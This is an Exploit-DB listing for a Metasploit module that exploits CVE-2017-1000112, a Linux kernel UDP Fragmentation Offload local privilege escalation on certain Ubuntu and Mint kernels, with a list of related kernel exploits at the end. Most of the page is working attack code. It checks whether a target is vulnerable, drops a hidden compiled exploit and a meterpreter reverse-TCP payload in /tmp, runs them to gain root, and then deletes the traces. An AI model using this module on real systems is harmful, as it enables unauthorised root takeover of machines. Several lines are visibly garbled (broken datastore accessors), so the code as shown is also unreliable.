Linux Kernel - UDP Fragmentation Offset 'UFO' Privilege Escalation (Metasploit)

EDB-ID: 45147 Author: Metasploit Published: 2018-08-03
CVE: CVE-2017-1000112 Type: Local Platform: Linux
Aliases: N/A Advisory/Source: Link Tags: Metasploit Framework (MSF), Local
E-DB Verified: Verified Exploit: Download Exploit Code Download / View Raw Vulnerable App: N/A
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Linux Kernel UDP Fragmentation Offset (UFO) Privilege Escalation',
      'Description'    => %q{
        This module attempts to gain root privileges on Linux systems by abusing
        UDP Fragmentation Offload (UFO).

        This exploit targets only systems using Ubuntu (Trusty / Xenial) kernels
        4.4.0-21 <= 4.4.0-89 and 4.8.0-34 <= 4.8.0-58, including Linux distros
        based on Ubuntu, such as Linux Mint.

        The target system must have unprivileged user namespaces enabled
        and SMAP disabled.

        Bypasses for SMEP and KASLR are included. Failed exploitation
        may crash the kernel.

        This module has been tested successfully on various Ubuntu and Linux
        Mint systems, including:

        Ubuntu 14.04.5 4.4.0-31-generic x64 Desktop;
        Ubuntu 16.04 4.8.0-53-generic;
        Linux Mint 17.3 4.4.0-89-generic;
        Linux Mint 18 4.8.0-58-generic
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Andrey Konovalov', # Discovery and C exploit
          'h00die',           # Metasploit module
          'Brendan Coles'     # Metasploit module
        ],
      'DisclosureDate' => 'Aug 10 2017',
      'Platform'       => [ 'linux' ],
      'Arch'           => [ ARCH_X64 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Targets'        => [[ 'Auto', {} ]],
      'Privileged'     => true,
      'References'     =>
        [
          [ 'CVE', '2017-1000112' ],
          [ 'EDB', '43418' ],
          [ 'BID', '100262' ],
          [ 'URL', 'http://seclists.org/oss-sec/2017/q3/277' ],
          [ 'URL', 'https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c' ],
          [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/davem/net.git/commit/?id=85f1bd9a7b5a79d5baa8bf44af19658f7bf77bfa' ],
          [ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/CVE-2017-1000112' ],
          [ 'URL', 'https://securingtomorrow.mcafee.com/mcafee-labs/linux-kernel-vulnerability-can-lead-to-privilege-escalation-analyzing-cve-2017-1000112/' ],
          [ 'URL', 'https://ricklarabee.blogspot.com/2017/12/adapting-poc-for-cve-2017-1000112-to.html' ],
          [ 'URL', 'https://github.com/bcoles/kernel-exploits/commits/cve-2017-1000112' ]
        ],
      'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
      'DefaultTarget'  => 0))
    register_options [
      OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]),
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def base_dir
    datastore['WritableDir\.to_s
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
  end

  def upload_and_chmodx(path, data)
    upload path, data
    cmd_exec "chmod +x '#{path}'"
  end

  def upload_and_compile(path, data)
    upload "#{path}.c", data

    gcc_cmd = "gcc -o #{path} #{path}.c"
    if session.type.eql? 'shell'
      gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
    end
    output = cmd_exec gcc_cmd
    rm_f "#{path}.c"

    unless output.blank?
      print_error output
      fail_with Failure::Unknown, "#{path}.c failed to compile"
    end

    cmd_exec "chmod +x #{path}"
  end

  def exploit_data(file)
    path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-1000112', file
    fd = ::File.open path, 'rb'
    data = fd.read fd.stat.size
    fd.close
    data
  end

  def live_compile?
    return false unless datastore['COMPILE\.eql?('Auto') || datastore['COMPILE\.eql?('True')

    if has_gcc?
      vprint_good 'gcc is installed'
      return true
    end

    unless datastore['COMPILE\.eql? 'Auto'
      fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
    end
  end

  def check
    version = kernel_release
    unless version =~ /^4\.4\.0-(21|22|24|28|31|34|36|38|42|45|47|51|53|57|59|62|63|64|66|67|70|71|72|75|78|79|81|83|87|89|81|89)-generic/ ||
           version =~ /^4\.8\.0-(34|36|39|41|45|46|49|51|52|53|54|56|58)-generic/
      vprint_error "Linux kernel version #{version} is not vulnerable"
      return CheckCode::Safe
    end
    vprint_good "Linux kernel version #{version} is vulnerable"

    vprint_status 'Checking if SMAP is enabled ...'
    if smap_enabled?
      vprint_error 'SMAP is enabled'
      return CheckCode::Safe
    end
    vprint_good 'SMAP is not enabled'

    arch = kernel_hardware
    unless arch.include? 'x86_64'
      vprint_error "System architecture #{arch} is not supported"
      return CheckCode::Safe
    end
    vprint_good "System architecture #{arch} is supported"

    unless userns_enabled?
      vprint_error 'Unprivileged user namespaces are not permitted'
      return CheckCode::Safe
    end
    vprint_good 'Unprivileged user namespaces are permitted'

    CheckCode::Appears
  end

  def exploit
    unless check == CheckCode::Appears
      fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!'
    end

    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    # Upload exploit executable
    executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
    executable_path = "#{base_dir}/#{executable_name}"
    if live_compile?
      vprint_status 'Live compiling exploit on system...'
      upload_and_compile executable_path, exploit_data('exploit.c')
    else
      vprint_status 'Dropping pre-compiled exploit on system...'
      upload_and_chmodx executable_path, exploit_data('exploit.out')
    end

    # Upload payload executable
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
    upload_and_chmodx payload_path, generate_payload_exe

    # Launch exploit
    print_status 'Launching exploit ...'
    output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}"
    output.each_line { |line| vprint_status line.chomp }
    print_status "Cleaning up #{payload_path} and #{executable_path} ..."
    rm_f executable_path
    rm_f payload_path
  end
end


Related Exploits

Trying to match CVEs (1): CVE-2017-1000112
Other Possible E-DB Search Terms: Linux Kernel
Date D V Title Author
2016-07-29 Verified Linux Kernel (ARM/ARM64) - 'perf_event_open()' Arbitrary Memory ReadGoogle Secu...
2016-05-04 Verified Linux Kernel (Ubuntu 14.04.3) - 'perf_event_open()' Can Race with execve() (Access /etc/shadow)Google Secu...
2015-08-07 Waiting verification Linux Kernel (x86) - Memory Sinkhole Privilege EscalationChristopher...
2017-10-17 Waiting verification Linux Kernel - 'AF_PACKET' Use-After-FreeSecuriTeam
2016-02-26 Verified Linux Kernel - io_submit L2TP sendmsg Integer OverflowGoogle Secu...
1999-05-28 Verified Linux Kernel 2.0 Sendmail - Denial of ServiceMichal Zale...
1998-01-14 Verified Linux Kernel 2.0/2.0.33 - i_count Overflow (PoC)Aleph One
2001-01-02 Verified Linux Kernel 2.2 - TCP/IP Weakness Spoof IPStealth
2000-11-30 Verified Linux Kernel 2.2.x - Non-Readable File Ptrace Local Information LeakLamagra Arg...
2001-06-27 Verified Linux Kernel 2.2/2.4 - procfs Stream redirection to Process Memory Privilege Escalationzen-parse
2010-11-10 Waiting verification Linux Kernel 2.4.0 - Stack InfoleaksDan Rosenberg
2002-07-08 Verified Linux Kernel 2.4.18/2.4.19 - Privileged File Descriptor Resource Exhaustion (Denial of Service)Paul Starzetz
2004-12-16 Verified Linux Kernel 2.4.28/2.6.9 - Memory Leak Local Denial of ServiceGeorgi Guni...
2004-04-12 Verified Linux Kernel 2.4/2.6 - Sigqueue Blocking Denial of ServiceNikita V. Y...
2005-03-30 Verified Linux Kernel 2.6.10 - File Lock Local Denial of ServiceChoiX
2005-03-29 Verified Linux Kernel 2.6.10 - Local Denial of ServiceChoiX
2007-03-05 Verified Linux Kernel 2.6.17 - 'Sys_Tee' Local Privilege EscalationMichael Ker...
2006-07-15 Verified Linux Kernel 2.6.17.4 - 'proc' Local Privilege Escalationh00lyshit
2009-12-23 Verified Linux Kernel 2.6.18 < 2.6.18-20 - Local Privilege EscalationDigitALL
2008-12-14 Verified Linux Kernel 2.6.27.7-generic/2.6.18/2.6.24-1 - Local Denial of ServiceAdurit-T
2011-06-11 Verified Linux Kernel 2.6.28/3.0 (DEC Alpha Linux) - Local Privilege EscalationDan Rosenberg
2009-05-14 Verified Linux Kernel 2.6.29 - 'ptrace_attach()' Race Condition Privilege Escalationprdelka
2016-11-23 Waiting verification Linux Kernel 2.6.32-642/3.16.0-4 - 'inode' Integer OverflowTodor Donev
2009-10-04 Waiting verification Linux Kernel 2.6.32-rc1 (x86-64) - Register Leakspender
2011-11-04 Waiting verification Linux Kernel 2.6.37-rc1 - 'serial_multiport_struct' Local Information LeakTodor Donev